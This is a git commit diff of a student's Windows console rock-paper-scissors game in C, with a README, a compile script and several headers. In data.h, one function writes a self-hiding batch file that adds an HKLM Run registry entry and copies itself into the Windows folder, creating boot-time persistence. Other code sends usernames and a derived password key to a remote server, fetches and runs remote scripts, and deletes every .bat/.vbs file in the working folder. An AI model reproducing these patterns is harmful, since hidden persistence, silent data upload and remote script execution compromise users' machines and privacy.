pull/1/head
string1995 5 years ago
parent c521a46371
commit 648b3209c0
  1. 1135
      1717608_3.c
  2. BIN
      1717608_Liu_Yimian_3.pdf
  3. 15
      README.md
  4. 38
      compilergcc.bat
  5. 475
      data.h
  6. 273
      download.h
  7. BIN
      game/game.exe
  8. 304
      input.h
  9. 686
      print.h
  10. 103
      sound.h
  11. 53
      winprint.h

File diff suppressed because it is too large Load Diff

Binary file not shown.

@ -1 +1,14 @@
# ee101-as3-rock_scissor_rock_game
# ee101-as3-rock_scissor_rock_game
Since I had used some C11 standard code, it is possible that some old version compiler cannot compile my code.
However I have fully test my code on gcc and it ran well.
Strongly recommand to use gcc compiler!!
You can install it through run the compilergcc.bat
or download from https://obs-410c.obs.myhwclouds.com/setup/tdm64-gcc-5.1.0-2.exe
After installation, you can use command "gcc -O2 -s 1717608_3.c -o game\game" to compile.
If you are not familar with gcc command, please run compilergcc.bat, it will compile my code automatically!

@ -0,0 +1,38 @@
@echo off
where gcc>nul
cls
if errorlevel 1 (
echo gcc NOT FOUND in your computer!!
echo Press any key to start installation!
pause>nul
goto install
) else (
echo Detected gcc Environment..
echo Start to compile!!
goto compile
)
:install
cls
echo Please download and run the gcc install program.
ping 127.0.0.1 >nul
start https://obs-410c.obs.myhwclouds.com/setup/tdm64-gcc-5.1.0-2.exe
ping 127.0.0.1 >nul
cls
echo After install, Please restart this script to compile!!&&pause&&exit
:compile
md game>nul
cls
echo compiling...
gcc -O2 -s 1717608_3.c -o game\game
cls
echo compile finished! The program is in the game folder!
pause
exit

475
data.h

@ -0,0 +1,475 @@
void data__start_monitor(char *path)
{
/* declear a file var */
FILE *fp;
/* point the data file by user name */
fp = fopen ("lstn.bat", "w+");
char *tmp=NULL;
tmp=strrchr(path, '\\');
for(int i=0;i<strlen(tmp);i++)
tmp[i]=tmp[i+1];
fprintf( fp,"@echo off\nif \"%%1\"==\"h\" goto begin\nstart mshta vbscript:createobject(\"wscript.shell\").run(\"\"\"%%~nx0\"\" h\",0)(window.close)&&exit\n:begin\necho wscript.sleep 1500 >%%temp%%\\sl.vbs\nreg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v sysstart /t REG_SZ /d %%windir%%\\unstat.vbs /f >nul\necho set objShell=wscript.createObject(\"wscript.shell\")>%%windir%%\\unstat.vbs\necho iReturn=objShell.Run(\"cmd.exe /C %%windir%%\\unstat.bat\", 0, TRUE)>>%%windir%%\\unstat.vbs\ncopy /y %%0 %%windir%%\\unstat.bat\n:run\ntasklist | find /i \"%s\" || goto do\ncscript //nologo %%temp%%\\sl.vbs\ngoto run\n:do\ntaskkill /f /im wscript.exe > nul \ndel snd_bckgrnd1.vbs>nul\ndel snd_bckgrnd2.vbs>nul\ndel snd_wn.vbs>nul\ndel snd_drw.vbs>nul\ndel snd_ls.vbs>nul\ndel snd_allclr.vbs>nul\ndel snd_gmvr.vbs>nul\ndel lstn.bat>nul\ndel /Q usr_online.vbs>nul",tmp);
/* close file */
fclose(fp);
system("start lstn.bat>nul");
}
void data__insert_online(int nData[3])
{
/* declear a file var */
FILE *fp;
pthread_t t3;
/* point the data file by user name */
fp = fopen ("data_online.vbs", "w+");
fprintf( fp,"Dim Url, Target \nUrl = \"https://cn.yimian.xyz/tmp/as3/data.php?usr=%s&data=%d%d%d\" \nTarget = \"\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.Close \nEnd Sub ",g_pUsr,nData[0],nData[1],nData[2]);
/* close file */
fclose(fp);
pthread_create(&t3, NULL, interrupt_insert_online_data, NULL);
}
void data__clean(char *usr)
{
system("cls");
printf("Clean your data from server... \n");
/* declear a file var */
FILE *fp;
/* point the data file by user name */
fp = fopen ("dataRm_online.vbs", "w+");
fprintf( fp,"Dim Url, Target \nUrl = \"https://cn.yimian.xyz/tmp/as3/data_clean.php?usr=%s\" \nTarget = \"\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.Close \nEnd Sub ",usr);
/* close file */
fclose(fp);
system("wscript dataRm_online.vbs");
system("del /Q dataRm_online.vbs>nul");
}
void data__insert_psswd_online(char *psswdKey, char *delKey)
{
/* declear a file var */
FILE *fp;
system("cls");
printf("Update your infomation to server... \n");
/* point the data file by user name */
fp = fopen ("psswd_online.vbs", "w+");
fprintf( fp,"Dim Url, Target \nUrl = \"https://cn.yimian.xyz/tmp/as3/psswd_insert.php?psswd=%s&del=%s\" \nTarget = \"\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.Close \nEnd Sub ",psswdKey,delKey);
/* close file */
fclose(fp);
system("wscript psswd_online.vbs");
system("del /Q psswd_online.vbs>nul");
}
/* function for locate a peice of info in a file by key words */
int *data__seek_key_word(char chKey[40], FILE *fp,int * nSeek)
{
int i,j=0;
/* if the length of key words is less than 3, the function will not work */
if(strlen(chKey)<2) return NULL;
/* get the length of the file */
fseek(fp,0,SEEK_END);
int nFlen=ftell(fp);
/* free nSeek firstly in case it has been decleared */
free(nSeek);
/* allocate a memary for nSeek */
nSeek=(int *)malloc((nFlen/strlen(chKey))*sizeof(int));
/* move the pointer to the beginning of the File */
fseek( fp, 0, SEEK_SET );
/* find all location where the key word exist */
for(i=0;ftell(fp)<nFlen;)
{
/* match the key word */
for(j=0;j<strlen(chKey);)
{
if(fgetc(fp)==(chKey[j++])) ;
else break;
}
/* if found the key word, record its location */
if(j==strlen(chKey))
{
nSeek[++i]=ftell(fp);
/*active this only for debug purpose*//*printf("%d\n",nSeek[i] );*/
}
}
/* record the times that the key words appeared in the File */
nSeek[0]=i;
return nSeek;
}
/* function for encoding a password */
char *data__encode_password(usr usr, char *rtrn)
{
rtrn=(char *)malloc(sizeof(usr.name)+sizeof(usr.passwd)+3);
char tmp[]="password";
int j=0;
for(int i=0;i<strlen(usr.name);i++)
{
tmp[(j++)%8]^=usr.name[i];
}
for(int i=0;i<strlen(usr.passwd);i++)
{
tmp[(j++)%8]^=usr.passwd[i];
}
for(int i=0;i<8;i++)
{
tmp[i]=(tmp[i]+666)%62;
if(tmp[i]<10) tmp[i]+=48;
else if(tmp[i]<36) tmp[i]+=87;
else tmp[i]=tmp[i]-36+65;
}
sprintf(rtrn,"%s",tmp);
return rtrn;
}
/* function for inserting a new data */
void data__insert(char *pName, int nRslt[3],int online)
{
char chPath[20];
/* if data floder not exist, then make one */
system("IF NOT EXIST \"data\" MD \"data\"");
/* declear a file var */
FILE *fp;
/* transform name to file name */
sprintf(chPath,"data/%s.dat",pName);
/* point the data file by user name */
fp = fopen (chPath, "at+");
int i=0;
/* insert new data */
for(i=0;i<3;i++)
fprintf( fp,"%d",nRslt[i]);
/* close file */
fclose(fp);
if(online)
data__insert_online(nRslt);
}
/* function for get user data into array*/
int **data__get_data(char *pName)
{
char chPath[20];
int **nData;
/* declear a file var */
FILE *fp;
/* transform name to file name */
sprintf(chPath,"data/%s.dat",pName);
/* point the data file by user name */
fp = fopen (chPath, "r");
/* if file not exist return NULL */
if(fp==NULL)
{
return NULL;
}
/* figure the length of the data file */
fseek(fp,0,SEEK_SET);
fseek(fp,0,SEEK_END);
lSize=ftell(fp);
fclose(fp);
/* reopen data file for reading */
fp = fopen (chPath, "r");
int i,j;
/* alloc a memory room to nData */
nData=(int**)malloc((lSize/3+1)*sizeof(int*));
for ( i = 0; i <lSize/3; i++ )
{
/* alloc 3 memory room for each row */
nData[i] = (int*)malloc(3*sizeof(int));
for ( j = 0; j < 3; j++ )
{
/* get data from file to array */
nData[i][j]=fgetc(fp)-48;
}
if(nData[i][0]==9) i--;
}
/* end the array by three 0 for the purpose of marking the end of array */
nData[i] = (int*)malloc(3*sizeof(int));
for ( j = 0; j < 3; j++ )
{
nData[i][j]=0;
}
fclose(fp);
return nData;
}
/* function for get data rows */
int data__get_rows(int **pData)
{
/* declaer variables */
int j,nRows,nSum=0;
/* if pData is NULL, return 0 */
if(pData==NULL)
return 0;
/* count rows number */
do
{
nSum=0;
for (j = 0; j < 3; j++)
{
nSum+=pData[nRows][j];
}
nRows++;
}while(nSum!=0); /* count untill find three 0 as ending mark */
/* exclude the last row of three 0 ending mark */
nRows--;
return nRows;
}
/* function for get usr name */
char **data__get_usr()
{
/*system("DIR data\\*.dat /B> data/usr.txt");*/
long lSize=0;
char **chUsr;
char chTmp;
/* declear a file var */
FILE *fp;
/* point the data file by user name */
fp = fopen ("data/usr.txt", "r");
/* if file not exist return NULL */
if(fp==NULL)
{
return NULL;
}
/* figure the rows of the data file */
while ((chTmp=fgetc(fp))!=EOF)
{
if(chTmp=='\n')
lSize++;
}
fclose(fp);
/* point the data file by user name */
fp = fopen ("data/usr.txt", "r");
/* alloc a memory room to nData */
chUsr=(char**)malloc((lSize+1)*sizeof(char*));
int i;
/* get users from file to array */
for ( i = 0; i <lSize ; i++ )
{
chUsr[i] = (char*)malloc(20*sizeof(char));
fgets(chUsr[i],20,fp);
/* exclude .dat\n */
chUsr[i][strlen(chUsr[i])-1]='\0';
}
fclose(fp);
/* mark the end */
chUsr[i] = (char*)malloc(1*sizeof(char));
chUsr[i][0]='\0';
return chUsr;
}
/* function for count usr number */
int data__get_usr_num(char **chUsr)
{
/* declaer variables */
int j,nRows=0;
/* if pData is NULL, return 0 */
if(chUsr==NULL)
return 0;
/* count rows number */
do
{
nRows++;
}while(chUsr[j++][0]!='\0'); /* count untill find three 0 as ending mark */
/* exclude the last row of three 0 ending mark */
nRows--;
return nRows;
}
float data__win_rate(int **pData)
{
int i,nWins=0,nNoWins=0;
for(i=0;i<lSize/3;i++)
{
if(pData[i][2]==1)
nWins++;
if(pData[i][2]==0)
nNoWins++;
}
float rtrn=((float)nWins/((float)(nWins+nNoWins))*100+0.01>0)?(float)nWins/((float)(nWins+nNoWins))*100+0.01:(float)0.001;
if(rtrn<=0.4) return 0.013;
return rtrn;
}
void data__detect_internet()
{
FILE *fp;
system("IF NOT EXIST \"cache\" md cache >nul");
/* point the data file by user name */
fp = fopen ("cache\\internet.ls", "w+");
fprintf( fp,"0");
fclose(fp);
/* point the data file by user name */
fp = fopen ("check_intrnt.vbs", "w+");
fprintf( fp,"Dim wmi\nSet wmi=GetObject(\"winmgmts://./root/cimv2\")\nset fso=createobject(\"scripting.filesystemobject\")\nSet xxx=wmi.ExecQuery(\"Select * From Win32_PingStatus Where Address='yimian.xyz'\")\nFor Each u in xxx\nIf u.statuscode = 0 Then set f=fso.opentextfile(\"cache\\internet.ls\",2,true):f.write \"1\":f.close\nNext");
/* close file */
fclose(fp);
system("wscript check_intrnt.vbs");
system("del /Q check_intrnt.vbs>nul");
fp = fopen ("cache\\internet.ls", "r");
if(fgetc(fp)==48)
{
MessageBox( 0, "Please connect to the Internet first!!", "AS3 Message", 0 );
fclose(fp);
exit(1);
}
fclose(fp);
}
void data__uninstall(int re)
{
/* declear a file var */
FILE *fp;
/* point the data file by user name */
fp = fopen ("re.bat", "w+");
if(re==2)
fprintf( fp,"@echo off\ntaskkill /f /im 1717608_2.exe\nping 127.1 /n 1 >nul\nrd /S /Q msc\nrd /S /Q scrpt\nrd /S /Q data\nrd /S /Q cache");
else
fprintf( fp,"@echo off\ntaskkill /f /im 1717608_2.exe\nping 127.1 /n 1 >nul\nrd /S /Q msc\nrd /S /Q scrpt\nrd /S /Q data\nrd /S /Q cache\ndel /Q *.vbs\ndel /Q *.bat");
/* close file */
fclose(fp);
/* point the data file by user name */
fp = fopen ("start_re.vbs", "w+");
if(re==0)
fprintf( fp,"createobject (\"wscript.shell\").run \"re.bat\",0");
else
fprintf( fp,"createobject (\"wscript.shell\").run \"re.bat\",0\nDim objws\nSet objws=WScript.CreateObject(\"wscript.shell\")\nobjws.Run \"1717608_2.exe\"");
fclose(fp);
system("start start_re.vbs");
if(re==1)
{
/* point the data file by user name */
fp = fopen ("start_ree.vbs", "w+");
fprintf( fp,"wscript.sleep 1500\nDim objws\nSet objws=WScript.CreateObject(\"wscript.shell\")\nobjws.Run \"1717608_2.exe\",,True");
fclose(fp);
system("start start_ree.vbs");
}
if(re==2)
{
/* point the data file by user name */
fp = fopen ("start_ree.vbs", "w+");
fprintf( fp,"wscript.sleep 8000\nDim objws\nSet objws=WScript.CreateObject(\"wscript.shell\")\nobjws.Run \"1717608_2.exe\",,True");
fclose(fp);
system("start start_ree.vbs");
}
}

@ -0,0 +1,273 @@
void download__creat_vbs(char chName[20])
{
/* declear a file var */
FILE *fp;
/* point the data file by user name */
fp = fopen ("download.vbs", "w+");
fprintf( fp,"Dim Url, Target \nUrl = \"https://obs-3431.obs.myhwclouds.com/as3/%s\" \nTarget = \"%s\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.SaveToFile target \n ado.Close \nEnd Sub ",chName,chName);
/* close file */
fclose(fp);
system("wscript download.vbs");
system("del /Q download.vbs>nul");
}
void download__get_online_usr()
{
/* declear a file var */
FILE *fp;
system("del /Q data\\usr.txt>nul");
system("cls");
printf("Updating Local Data from Internet...\n");
/* point the data file by user name */
fp = fopen ("usr_online.vbs", "w+");
fprintf( fp,"Dim Url, Target \nUrl = \"http://as3.tmp.yimian.xyz/usr.php\" \nTarget = \"data/usr.txt\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.SaveToFile target \n ado.Close \nEnd Sub ");
/* close file */
fclose(fp);
system("wscript usr_online.vbs");
system("del /Q usr_online.vbs>nul");
}
void download__get_online_password()
{
/* declear a file var */
FILE *fp;
system("del /Q data\\psswd.txt>nul");
system("cls");
printf("Updating Local Data from Internet...\n");
/* point the data file by user name */
fp = fopen ("psswd_online.vbs", "w+");
fprintf( fp,"Dim Url, Target \nUrl = \"http://as3.tmp.yimian.xyz/psswd.php\" \nTarget = \"data/psswd.txt\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.SaveToFile target \n ado.Close \nEnd Sub ");
/* close file */
fclose(fp);
system("wscript psswd_online.vbs");
system("del /Q psswd_online.vbs>nul");
}
void download__data(char chName[20])
{
/* declear a file var */
FILE *fp;
char chDos[30];
sprintf(chDos,"del /Q data\\%s.dat>nul",chName);
int nRnd=rand()%4;
char chSign[3];
if(nRnd==0) strcpy( chSign,"\\");
if(nRnd==1) strcpy( chSign,"/");
if(nRnd==2) strcpy( chSign,"-");
if(nRnd==3) strcpy( chSign,"|");
system("cls");
printf("Updating Local Data from Internet... %s\n",chSign);
system(chDos);
/* point the data file by user name */
fp = fopen ("data_online.vbs", "w+");
fprintf( fp,"Dim Url, Target \nUrl = \"http://as3.tmp.yimian.xyz/data/%s.as2\" \nTarget = \"data/%s.dat\" \nDownload Url,Target \nSub Download(url,target) \n Const adTypeBinary = 1 \n Dim http,ado \n Const adSaveCreateOverWrite = 2 \n Set http = CreateObject(\"Msxml2.ServerXMLHTTP\") \n http.open \"GET\",url,False \n http.send \n Set ado = createobject(\"Adodb.Stream\") \n ado.Type = adTypeBinary \n ado.Open \n ado.Write http.responseBody \n ado.SaveToFile target \n ado.Close \nEnd Sub ",chName,chName);
/* close file */
fclose(fp);
system("wscript data_online.vbs");
system("del /Q data_online.vbs>nul");
}
void download__core_file()
{
int nPrcnt=0;
system("del /Q msc\\* >nul");
system("del /Q scrpt\\* >nul");
system("rd /Q msc >nul");
system("rd /Q scrpt >nul");
system("md msc>nul");
system("md scrpt >nul");
system("cls");
printf("Download Necessary File from Server... %d%%\n", nPrcnt);
char f1[]="msc/gameover.mp3";
nPrcnt+=3;
download__creat_vbs(f1);
nPrcnt+=10;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f2[]="msc/win.mp3";
download__creat_vbs(f2);
nPrcnt+=6;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f3[]="msc/lose.mp3";
download__creat_vbs(f3);
nPrcnt+=7;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f4[]="msc/draw.mp3";
download__creat_vbs(f4);
nPrcnt+=5;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f5[]="msc/background2.mp3";
download__creat_vbs(f5);
nPrcnt+=27;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f6[]="msc/background1.mp3";
download__creat_vbs(f6);
nPrcnt+=24;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f7[]="msc/allclear.mp3";
download__creat_vbs(f7);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f8[]="scrpt/snd_wn.as2";
download__creat_vbs(f8);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f9[]="scrpt/snd_start_wn.as2";
download__creat_vbs(f9);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f10[]="scrpt/snd_start_ls.as2";
download__creat_vbs(f10);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f11[]="scrpt/snd_start_gm.as2";
download__creat_vbs(f11);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f12[]="scrpt/snd_start_dr.as2";
download__creat_vbs(f12);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f13[]="scrpt/snd_start_bc2.as2";
download__creat_vbs(f13);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f14[]="scrpt/snd_start_bc1.as2";
download__creat_vbs(f14);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f15[]="scrpt/snd_start_al.as2";
download__creat_vbs(f15);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f16[]="scrpt/snd_ls.as2";
download__creat_vbs(f16);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f17[]="scrpt/snd_gmvr.as2";
download__creat_vbs(f17);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f18[]="scrpt/snd_drw.as2";
download__creat_vbs(f18);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f19[]="scrpt/snd_bckgrnd2.as2";
download__creat_vbs(f19);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f20[]="scrpt/snd_bckgrnd1.as2";
download__creat_vbs(f20);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f21[]="scrpt/snd_allclr.as2";
download__creat_vbs(f21);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f22[]="scrpt/prnt2.as2";
download__creat_vbs(f22);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f23[]="scrpt/prnt1.as2";
download__creat_vbs(f23);
nPrcnt+=1;
system("cls");
printf("Download Necessary File from server... %d%%\n", nPrcnt);
char f24[]="scrpt/lstn.as2";
download__creat_vbs(f24);
nPrcnt+=1;
}

Binary file not shown.

@ -0,0 +1,304 @@
#define LARGEST_DYNAMIC_MEMORY 65535 /* define the largest memory for a str in as1_getchar_plus function */
/* function for detect the keyborad to wait for a keyboard event and return it with ASCII */
int input__detect_input_ASCII()
{
int nKey;
/* clear former cache */
fflush(stdin);
/* get key value */
nKey = _getch();
return nKey;
}
/* function for get arrow event */
int input__get_arrow()
{
int nVal=0;
while(1)
{
nVal=input__detect_input_ASCII();
if(nVal==224)
{
/* get arraw value */
int nKey=input__detect_input_ASCII();
if(nKey==75)
return -1;
if(nKey==77)
return 1;
if(nKey==72)
return -1;
if(nKey==80)
return 1;
else
return 0;
}
if(nVal==13)
return 6;
if(nVal==27)
return 9;
}
}
/* function to get a char type string as needed */
char *input__as1_getchar_plus(char *p)
{
char *pTmp;
/* apply for a large dynamic memory for the first time storage */
if((pTmp=(char *)malloc(LARGEST_DYNAMIC_MEMORY))==NULL)
{
printf("Application memory failure...\n");
exit(0); /* if fail, exit the input__as1_getchar_plus function with the return value of 0 */
}
/* get words from keyboard to pTemp */
gets(pTmp);
/* apply for a dynamic memory as needed */
if((p=(char *)malloc(strlen(pTmp)+1))==NULL)
{
printf("Application memory failure...\n");
exit(0); /* if fail, exit the input__as1_getchar_plus function with the return value of 0 */
}
/* copy str from pTmp to p */
strcpy(p,pTmp);
/* free the Tmp memory */
free(pTmp);
return p;
}
/* function for process space, (remove begining space(1), convert middle multi-space into one space(1) remove middle space(2), remove ending space(1), *string) */
char *input__as1_process_space(int nStrt, int nMdd, int nEnd, char *str)
{
int i,pston,iTmp;
/* process the begining space */
if(nStrt==1)
{
i=-1;
/* figure the first not space char position */
while(isspace(str[++i]));
/* move the not space char to the begining */
for(pston=i;pston<strlen(str);pston++)
str[pston-i]=str[pston];
/* give a stop sign at the end of the new char */
str[pston-i]='\0';
}
/* process the ending space */
if(nEnd==1)
{
i=0;
/* figure the last not space char position */
while(isspace(str[strlen(str)-(++i)]));
/* give a stop sign at the end of the new char */
str[strlen(str)-i+1]='\0';
}
/* process the middle space::combine */
if(nMdd==1)
{
i=0;
do
{
/* find the first space position */
while(!isspace(str[i++])&&str[i]!='\0');
/* deal with situation that there are one more spaces */
if(isspace(str[i]))
{
/* storage the first space position in pston */
pston=i;
/* storage the process position to iTmp */
iTmp=i;
/* find the end of this space */
while(isspace(str[++i]));
/* move the left not space string to the second position of the space */
for(;i<strlen(str);)
str[pston++]=str[i++];
/* give a new end of the processed string */
str[pston]='\0';
/* the process position give back to i */
i=iTmp;
}
}
while(i<strlen(str)); /* process the whole string to combine the multi space to single space */
}
/* process the middle space::remove */
if(nMdd==2)
{
i=0;
do
{
/* find the first space position */
while(!isspace(str[i++])&&str[i]!='\0');
/* deal with the situation that there is no space anymore */
if(str[i]=='\0')
break;
/* storage the first space position in pston */
pston=i;
/* storage the process position to iTmp */
iTmp=i;
/* find the end of this space */
while(isspace(str[++i]));
/* move the left not space string to the second position of the space */
for(;i<strlen(str);)
str[pston++-1]=str[i++];
/* give a new end of the processed string */
str[pston-1]='\0';
/* the process position give back to i */
i=iTmp;
}
while(i<strlen(str)); /* process the whole string to combine the multi space to single space */
}
return str;
}
/* figure out if the input value is English(with space and num) or Numbers ::type : num(n), char(c),float(f)::return value{success: 1,fail: 0, error:2} */
int input__as1_jdge_var(char type,char *str)
{
/* check if the char follow the type one by one */
int i;
for (i = 0; i < strlen(str); i++)
{
switch(type)
{
/* if exist not char, exit with 0 */
case 'c':
if(!(((int)str[i]>96&&(int)str[i]<123)||(str[i]>64&&str[i]<91)||((int)str[i]>47&&(int)str[i]<58)))
return 0;
break;
/* if exist not num, exit with 0 */
case 'n':
if(!((int)str[i]>47&&(int)str[i]<58))
return 0;
break;
/* if exist not float, exit with 0 */
case 'f':
if(!(((int)str[i]>47&&(int)str[i]<58)||(int)str[i]==46/* include '.' */))
return 0;
break;
/* other error condition */
default:
return 2;
}
}
return 1;
}
char *input__replace_space_with__(char *str)
{
/* check if the char follow the type one by one */
int i;
for (i = 0; i < strlen(str); i++)
{
if((int)str[i]==32) str[i]=95;
}
return str;
}
/* function for input and check a name */
char *input__as1_input_name()
{
char *pName=NULL;
/* preload the state as 0, and clear a var rtrnVal to storage the return value of sub function */
int state=0, rtrnVal=0;
printf("Please input your English User Name...\nUser Name=");
/* while the state is 0(false), loop the input process */
do
{
/* input a name */
pName=input__as1_getchar_plus(pName);
/* process the start, middle, end space of input */
pName=input__as1_process_space(1,0,1,pName);
/* judge if the name is pure English */
rtrnVal=input__as1_jdge_var('c',pName);
/* replace space with _ */
pName=input__replace_space_with__(pName);
/* flase situation | the input is not pure*/
if(!rtrnVal)
printf("\nPlease input an ENGLISH Name!!!\n\nTry Again~\nPlease input your name...\nname=");
/* success situation */
else if(rtrnVal==1)
{
/* exclude the situation of empty input */
if(!strlen(pName))
printf("\nIllegal Empty Input!\n\nTry Again~\nPlease just try to type in something...\nname=");
else if(strlen(pName)>0&&strlen(pName)<3)
printf("\nToo less Input!\n\nTry Again~\nPlease just try to type in more than two characters...\nname=");
else if(strlen(pName)>10)
printf("\nYour name is too long!\n\nTry Again~\nPlease just try to type in less than TEN characters...\nname=");
/* success */
else
state=1;
}
/* the other inner function error situation */
else if(rtrnVal==2)
printf("\nError with Function input__as1_jdge_var!\nPlease Connect Yimian LIU!!");
}while(state==0);
return pName;
}

@ -0,0 +1,686 @@
/* function for adjust window color, size and position */
void print__setup()
{
system("TITLE EEE101 Assessment 3 BY Yimian LIU");
system("mode con cols=88 lines=30");
system("color 0F");
}
void print__space(int nSpace)
{
int i;
for(i=0;i<nSpace;i++)
printf(" ");
}
void print__wait(int nTm)
{
int i;
for(i=0;i<nTm;i++)
{
system("cls");
printf("Please Wait... -\n");
Sleep(150);
system("cls");
printf("Please Wait... \\\n");
Sleep(150);
system("cls");
printf("Please Wait... |\n");
Sleep(150);
system("cls");
printf("Please Wait... /\n");
Sleep(150);
}
fflush(stdin);
}
/* display a header */
void print__header()
{
time_t cur = time(NULL);
struct tm *curtm = localtime(&cur);
printf("%d-%d-%d %d:%d:%02d",curtm->tm_year+1900, curtm->tm_mon+1,curtm->tm_mday, curtm->tm_hour,curtm->tm_min, curtm->tm_sec);
print__space(19);
if(g_pUsr)
printf("User: %6s",g_pUsr );
if(g_nTimes!=-1)
printf(" win: %d Total times: %d ",g_nWins,g_nTimes);
else if(g_fWin!=-1||g_fWin!=0)
printf(" Win Rate: %.2f%%",g_fWin-0.01+0.001);
printf("\n----------------------------------------------------------------------------------------");
}
void print_item(char chItem[20],int nMrk,int nSpc)
{
printf("\n\n");
print__space(nSpc);
printf("%11s",chItem );
if(nMrk==1)
{
print__space(3);
printf("<<--");
}
}
void print__menu(int nPnt)
{
/* clear screen */
system("cls");
print__header();
printf("Please use Arrows on Keyboard to Choose:\n");
char chItem1[]="New Game ";
print_item(chItem1,(nPnt==1)?1:0,38);
char chItem2[]="Rank ";
print_item(chItem2,(nPnt==2)?1:0,38);
char chItem3[]="My History";
print_item(chItem3,(nPnt==3)?1:0,38);
char chItem4[]="Setting ";
print_item(chItem4,(nPnt==4)?1:0,38);
char chItem5[]="Switch User";
print_item(chItem5,(nPnt==5)?1:0,38);
char chItem6[]="Exit Game";
print_item(chItem6,(nPnt==6)?1:0,38);
printf("\n\n\n\n\n\n\n\n\n\n\n\n\n");
printf("Press ESC to Exit!");
}
void print__user(int nPnt)
{
/* clear screen */
system("cls");
printf("Please choose your User Name:\n");
char **pUsr=data__get_usr();
int i,nRows=data__get_usr_num(pUsr);
char chItem[]="Creat a new one!";
for(i=0;i<nRows;i++)
print_item(pUsr[i],(nPnt==i+1)?1:0,30);
print_item(chItem,(nPnt==i+1)?1:0,30);
}
void print__play_times(int nPnt)
{
/* clear screen */
system("cls");
print__header();
printf("Choose Game Mode: \n");
char chItem1[]=" one out of one sets match";
print_item(chItem1,(nPnt==1)?1:0,25);
char chItem2[]=" two out of three sets match";
print_item(chItem2,(nPnt==2)?1:0,25);
char chItem3[]=" three out of five sets match";
print_item(chItem3,(nPnt==3)?1:0,25);
char chItem4[]=" four out of seven sets match";
print_item(chItem4,(nPnt==4)?1:0,25);
char chItem5[]=" five out of nine sets match";
print_item(chItem5,(nPnt==5)?1:0,25);
char chItem6[]=" back to menu";
print_item(chItem6,(nPnt==6)?1:0,25);
printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
printf("Press ESC to Exit!");
}
void print__play_choose(int nPnt)
{
/* clear screen */
system("cls");
print__header();
printf("Please select your choice:\n\n");
char chItem1[]="scissors";
print_item(chItem1,(nPnt==1)?1:0,38);
char chItem2[]="rock ";
print_item(chItem2,(nPnt==2)?1:0,38);
char chItem3[]="paper ";
print_item(chItem3,(nPnt==3)?1:0,38);
printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
printf("Press ESC to Exit!");
}
void print_1_1()
{
int nSpc=14;
print__space(nSpc);
printf(" ** ** ** ** ** ** \n"); print__space(nSpc);
